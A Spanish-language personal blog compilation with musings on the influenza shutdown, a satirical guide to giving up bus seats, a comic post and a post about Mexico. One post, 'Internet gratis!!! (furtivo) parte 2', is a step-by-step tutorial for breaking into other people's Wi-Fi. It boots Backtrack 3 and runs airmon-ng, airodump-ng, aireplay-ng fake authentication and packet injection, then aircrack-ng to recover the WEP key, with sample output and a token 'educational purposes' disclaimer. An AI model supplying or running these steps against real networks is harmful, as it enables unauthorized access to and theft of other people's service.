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Ultimamente…

Ultimamente me he sentido de la fregada, en ratos bien, en ratos mal, aveces aburrido, aveces divertido y creo que el causante de todo esto ha sido el show este de la influenza ya que a mi me ha afectado por una parte positivamente pero tambien negativamente, por la parte positiva descanse un poco del trabajo y esas cosas pero eso me trajo flojera y aburrimiento aun sabiendo que trabajo tengo y mucho y que ahora tendre que esforzarme al doble para acabar con todo en un tiempo razonable.

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Ahora que ya mas o menos se han estado calmando las cosas todo comienza a tener sentido y comienzo a darle a cada cosa y momento el valor que realmente se merecen, ahora si como dicen “despues de la tormenta se viene la calma”, (respiro) todo se piensa mas claro, en otras palabras digamos que ultimamente ha sido como <analogia> una gran borrachera, fiestas, despilfarro y perdicion donde todo avanza rapido, la cabeza da vueltas, te olvidas de todo, oyes risas y llanto al mismo tiempo, ves  luces parpadeantes e hipnotizantes. </analogia> Pero ahora todo se calma  <analogia otra vez> y comienza el dia despues de la anterior analogia (WTF!), si, el dia ese en que la cruda se hace presente, no recuerdas bien lo que paso el dia anterior, comienzas a ver alrededor y dices “ontoy”, la cama da vueltas, dices, juras y perjuras que no lo volveras a hacer luego te levantas y vas directo al baño despues a la regadera y una vez ya mas despierto comienzas a forzar a tu memoria ya que mas o menos sabes lo que paso tratas de poner las cosas en perspectiva  y tratar de seguir con tu vida</analogia otra vez>. Si asi mas o menos ha sido todo para mi ultimamente, afortunadamente ahora ya todo apunta a la normalidad y en parte eso me gusta pero en parte no ya que de las cosas positivas que me ha dejado este pasado megapuente quisiera que se repitieran pero se que talvez no sera asi y bueno no hay mas que seguir, seguir y seguir con lo que la vida te vaya poniendo en frente y no me queda mas que continuar y esperar las sorpresas y momentos felices y desagradables que me esperan. Y eso es lo que hace a la vida VIDA y no una simulacion rara y tonta falta de IA (jajaja pedrada The Sims y quien se ponga en frente), na, ya fuera de tanta tarugada que escribo, que bueno que las cosas comiencen a tomar un rumbo mas claro y que el horizonte esta menos gris (¬¬ ya estas escribiendo tarugadas de nuevo ¬¬)  aunque hay partes que se seguiran viendo no solo grises sino hasta negras y que espero poco a poco se vayan aclarando porque son muy importantes para mi.

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PD. Cuando la vida te presente razones para llorar, demuéstrale que tienes mil y una razones para reír.

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El Verdadero Significado de Ceder un Asiento en el Camión

Reglas para ceder el Asiento!

Para quienes hacemos las cosas a conciencia, no como quizas usted que hace todo así nomás, el ceder un asiento en el colectivo no encierra un simple gesto de cortesía; NO, se trata de un complejo proceso donde intervienen factores sociales, físicos y emocionales, como la solidaridad, el déficit de transporte público, los celos, el cálculo, la miseria humana, la inercia, el cansancio y la envidia.

¿QUÉ PERSONAS DEBEN SER CONSIDERADAS CANDIDATAS AL CEDIMIENTO DE NUESTRO ASIENTO?

Mujeres embarazadas, niños menores de cinco años, personas con niños en brazos, ancianos, gente con problemas físicos, gente que lleva paquetes pesados, gente muy muy cansada, personas con ancianos en brazos, ancianos que llevan paquetes, gente ligeramente mayor que uno en general, etc. En resumen, todo el mundo menos usted, despreciable criatura.

¿QUÉ GANO YO DANDO EL ASIENTO? ¿EH? ¿QUÉ GANO?

Cierta consideración y respeto por parte del resto del pasaje, que puede servirle como argumento para asumir el liderazgo del grupo en el hipotético caso de que, por ejemplo, el colectivo caiga por un puente y terminen todos en una isla, o que explote una bomba atómica y mueran todos salvo los que están encerrados en el colectivo (por ejemplo, si el colectivo está forrado en plomo), y deban arrancar la civilizacón desde cero.

¿QUÉ PASA SI JUSTO ESTOY DANDO EL ASIENTO Y OTRA PERSONA SE LEVANTA AL MISMO TIEMPO QUE YO?

Usted debe hacer los suficientes esfuerzos para avisar de su oferta como para que nadie sospeche de un acto de hipocresía de su parte (tipo levantandose un segundo después de que la eventual embarazada eligió el asiento del otro tipo). Si su asiento resulta elegido para brindar el servicio, se le permite cierta mirada de triunfo y desprecio por sobre el otro contendiente; en cambio, si el asiento ganador resulta ser el otro, debe taladrar a la embarazada o el anciano con una notoria mirada de despecho hasta que ésta reconozca –mediante una bajada de cabeza en señal de gratitud secundaria- su mérito. De ese modo se le arrebata medio punto al contendiente, que de otro modo ganaría un punto entero. A continuación puede volver a sentarse, ya que si bien los dos han aumentado su puntaje, tampoco que se tienen que joder los dos. Aproveche su ventaja posicional para estudiar a su oponente, que pueder ser un potencial rival en el liderazgo de cuando pase lo de la isla.

¿Y SI QUIEN OFRECE EL ASIENTO SIMULTÁNEAMENTE A MÍ ES UNA SEÑORA O UNA JOVENCITA?

En estos casos, el llamado de atención al pasajero beneficiado debe hacerse con mayor impetu, haciendo aspavientos con los brazos o gritando “¡Acá, acá!” si es necesario vaya por el y orientelo a su lugar (puede que este sea ciego) pero teniendo cuidado de no alejarse demasiado o de lo contrario puede llegar a ser agandallado su aciento que trata de ceder por algun hijo de pu&%/ta o en su peor caso por alguna ñora en perfectas condiciones que puede irse de pie. Ser vencido en su caballerosidad por una mujer es uno de los eventos más humillantes e indignos que pueden ocurrirle a una persona (hombre). Es casi como si el asiento se lo hubieran dado a usted, y entonces dígale adiós a la posibilidad de ser el macho dominante de la tribu (cuando pase lo de la isla); más bien vaya practicando algunos números de malabarismo o acrobacia, ya que su posicipon social nunca logrará superar la del bufón o saltimbanqui de la comunidad. Eso si tiene suerte y no le dan un puestito en el harém del Gran jefe, para cuando el tipo quiera ponerle un poco de “pimienta” un poco sus costumbres maritales.

(CON LA ESPINA DORSAL HELADA) ¿HAY FORMA DE REMONTAR ESTA SITUACIÓN?

Se puede recuperar entre un cuarto y medio punto a través de una suerte de “clearing” de asientos, ofreciéndole su asiento a la señora o la jovencita que cedió el asiento en un principio. Suele ocurrir que las muy reverendas hijas de pu%$&ta no lo acepten, así que deberá recurrir a toda su capacidad de persuasión, seducción e incluso atemorización (abrir el saco y exhibir una navaja retráctil suele rendir buenos frutos o tambien golpear su mano izquierda en forma de puño sobre la palma de la mano derecha); si aún así su asiento sigue siendo despreciado, la única forma de evitar un completo oprobio (reemplazándolo por un oprobio parcial) es “perdiendo” el asiento y realizando el resto del viaje parado, aunque el asiento sea aprovechado por un sujeto que no lo merezca, digamos, alguien como usted (tenga en cuenta que este cuarto sujeto, con este antecedente puede ocupar el lugar de saltimbanqui del pueblo, así ud. puede zafarse y conseguirse algún puestito de artesano o herrero o tal vez mozo en la hacienda del mas rico del lugar, cosa de ir escalando posiciones más tarde).

¿QUÉ PASA SI, LUEGO DE TODA ESTA SITUACIÓN TAN DESAGRADABLE Y ENGORROSA SE DESOCUPA UN NUEVO ASIENTO? ¿DEBO OCUPARLO?

¡No, jamás! Sería como empezar todo de nuevo, especialmente si su contendiente (sea macho dominante o guerrera amazona) decide seguir de pie. La única posibilidad es que a lo largo del viaje todo el pasaje haya sido completamente reemplazado y no quede un testigo del oprobio; sin embargo, siempre estará el chofer, que suele ser un serio candidato a Líder de la Tribu (porque tiene el vehículo, un cargo oficial, etc.). Paciencia. Una palabra: Arsénico. O la posibilidad de convertirse en su Consejero Real y gobernar desde las sombras (tambien funciona ser el mago o brujo de la corte y ganarse los respetos del rey, acuerdese de Merlin).

¿CÓMO SE DEBE REACCIONAR SI SUBE UNA EMBARAZADA O UN ANCIANO, UD. SE PARA PERO PORQUE JUSTO  LLEGÓ A SU DESTINO, Y EL BENEFICIARIO SE SIENTA Y SE DESHACE EN GRATITUD?

Aaah, esta es complicada. Algunos principiantes suelen confesar en voz alta su ausencia de mérito (diciendo “no, ya me bajaba”, con una sonrisita estúpida), arrepintiéndose de inmediato al percibir la mirada de decepción y desprecio por parte del beneficiario. Si bien por el hecho de bajarse las posibilidades de convertirse en el Lomo Plateado de la comunidad integrada por los pasajeros se reduce considerablemente, nunca hay que descartar que –especialmente si ud. suele tomar siempre ese colectivo en el mismo horario- vuelva a viajar con algún otro miembro de la comunidad, que podría delatarlo ante la nueva “tribu”, bajando su rango a los niveles que ya hemos descripo más arriba (acuerdese del bufon de la corte); por lo que debemos fingir que el cedismo de asiento ha sido intencional, pasándonos las paradas que sean necesarias para que la ilusión tenga fuerza (cuanto más largo sea el exceso de paradas, más autoridad podrá reclamar ud, redundando esto en más pieles de animales, o pescado, o cabras o esclavos o vírgenes de la tribu rival).

¿QUÉ PASA SI AL COLECTIVO SUBEN MUCHAS MUJERES EMBARAZADAS, MUCHAS PERSONAS CON UN NIÑO EN BRAZOS, MUCHOS ANCIANOS Y MUCHOS TULLIDOS Y TODO EL PASAJE HA DEBIDO CEDER EL ASIENTO? ¿EN QUÉ POSICIÓN SOCIAL NOS DEJA ESO?

Nos deja, lamentablemente, en una situación de igualdad con los demás, que sólo podrá ser resuelta cuerpo a cuerpo en la Cúpula del Trueno. Entrénese diariamente con su tridente o su lanza de punta de cuarzo.

¿Y SI SUBE LA EMBARAZADA O EL VIEJITO Y YO ME ENCUENTRO DEL LADO DE LA VENTANILLA Y LA QUE CEDE EL ASIENTO ES LA PRINCESA QUE LLEVO A MI LADO?

Aqui en donde se puede decir que usted pierde por default, más esto no impede que todos los pasajeros lo vean con desprecio mientras que la princesa amazona que cedio el asiento se cubre de triunfo y gloria sin que usted pueda hacer algo para remediarlo.

Pues como vemos el arte de ceder el asiento es tan complicado que cuando usted vea a alguien haciendo este ritual en el camion camino a su casa o destino no dude en ver en que posicion de las mencionadas aqui se encuentra dicho sujeto y si es necesario otorguele su total admiración (reconocerlo como jefe de la tribu) que no es nada fácil.

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Ermi #6: Die like in México!

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PD. Clic en la imagen para ver a tamaño completo.

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Internet gratis!!! (furtivo) parte 2.

Requisitos previos:

Necesitaremos el Backtrack 3 versión USB:  Descargar desde aqui.
Descomprimimos el archivo y obtenemos dos carpetas que debemos meter en la raiz del pendrive (usb flash memory). Por ejemplo e:

En windows vamos al menu de inicio > ejecutar > cmd

Se nos abre una “terminal” de Dos en la que tendremos que navegar hasta el pendrive, en este caso tecleamos e: y pulsamos enter.

Tecleamos: cd boot para entrar en la carpeta boot que metimos antes en e: (el pendrive). Enter.
Ahora ejecutamos el archivo bootinst.bat (escribe eso y dale al enter).

Seguimos las instrucciones y ya deberíamos tener un pendrive “bootable” con el que podremos iniciar el sistema operativo Backtrack 3 antes de arrancar windows.

Bien, ahora empieza lo divertido…

Enchufamos el pendrive en el puerto usb.

Reiniciamos el pc y cuando salga la pantalla gris con el logo de la PC presionamos la tecla Esc o lo que sea necesario en tu PC para iniciar desde el dispositivo USB .

Nos saldrá un menu azul que nos permitirá seleccionar desde donde arrancar, elegimos obviamente el pendrive (booteable gracias a los pasos anteriores).

Ahora salen unas cosas muy raras y le damos a enter y esperamos. Tranquilos,  luego es bastante facil.

Una vez nos carga el sistema operativo veremos que es muy similar en el aspecto gráfico al windows.

PASO 1:

NOTA: Para abrir una terminal presionamos Ctrl+Alt+T o al lado del “menu de inicio” hay un icono cuadrado negro.

En una terminal pones:

airmon-ng start wifi0

a continuación:

airodump-ng eth1

cuando encuentres tu red wifi ctrl+c para parar la búsqueda y escribes

airodump-ng -c [channel] –bssid [AP MAC] -w [filename] eth1

donde(no hay que poner corchetes):
[channel] es el canal
[AP MAC] es la dirección mac, XX:XX:XX:XX:XX
[filename] el nombre de archivo que le quieres dar, por ejemplo “casa”, recuerdalo.

PASO 2:

Abre una nueva terminal, ya sabes como…

aireplay-ng  –fakeauth 0 -e [AP SSID] -a [AP MAC] eth1

donde:

[AP SSID] es el nombre del Punto de acceso: Por ejemplo WLANCASA o lo que salga ahi en la primera terminal.

Si te sale esto felicidades:

18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful -)

Si no, intenta con lo siguiente:

Aireplay-ng –fakeauth 6000 -o 1 -q 10 -e [AP SSID] -a [AP MAC] ath1

Y te debería salir algo como esto:

18:22:32 Sending Authentication Request
18:22:32 Authentication successful
18:22:32 Sending Association Request
18:22:32 Association successful -)
18:22:42 Sending keep-alive packet
18:22:52 Sending keep-alive packet

Si no, olvidate ya que el problema seria que tu tarjeta inalambrica no este diseñada para inyectar paquetes.

Ahora que ya te funciona hay que empezar a inyectar…

PASO 3:

aireplay-ng -3 -b [AP MAC] ath1 -x 250

Ahora vete a la nevera y preparate una botana, ve por una coca-cola y unas aceitunas. En un par de minutos empezarás a ver como la columna DATA de la primera terminal empieza a subir (los números, no es que se mueva de posición ¬¬).

Espera hasta tener unos 40.000 más o menos y abre una tercera terminal.

PASO 4:

Quiero mi clave yaaaa!!!

aircrack-ng -z -b [AP MAC] [filename*.cap]

En lo de filename deberias poner lo que te dije antes, en tu caso sería casa.cap o lo que hayas puesto.

Espera otro poquito, y ya te aparecerá la clave, la apuntas en un papel y listo. Reinicia con tu SO favorito
y disfruta de tu wifi gratis.

comentale y recuerda esto es para fines educativos By MiGuE bLoG no se hace responsable del uso que le des a esta información.

Cortesia: http://www.asuseeeblog.com

Me sorprende que no sea en México

Todos sabemos que en México hay cosas que nadie puede imaginarse encontrar o pensar que suceden pero conforme crecemos nos vamos dando cuenta de todo lo que nuestro México nos ofrece, desde corrupción en todos los niveles (desde la casa misma hasta en escuelas, empresas y la misma presidencia de la Republica), incongruencias en procesos administrativos y muy tediosos desde tu misma escuela, al momento de obtener tu credencial de elector y ni hablar de los procesos en organismos federales, etc, etc. y del transito en nuestro pais ni hablar (las mordidas, la falta de cultura vial y los clasicos recordatorios del 10 de mayo), pero es México, tambien tiene sus cosas positivas pero creo que ya me desvie del tema principal del post en donde navegando por la red me encontre una imagen que cuando la vi me dije vaya en que parte de México es y lo sorprendente es que no es MEXICO!! en fin aqui les dejo la photo.

En una calle de Munich, Alemania…

Tu mete primera y que sea lo que Dios quiera

Tu mete primera y que sea lo que Dios quiera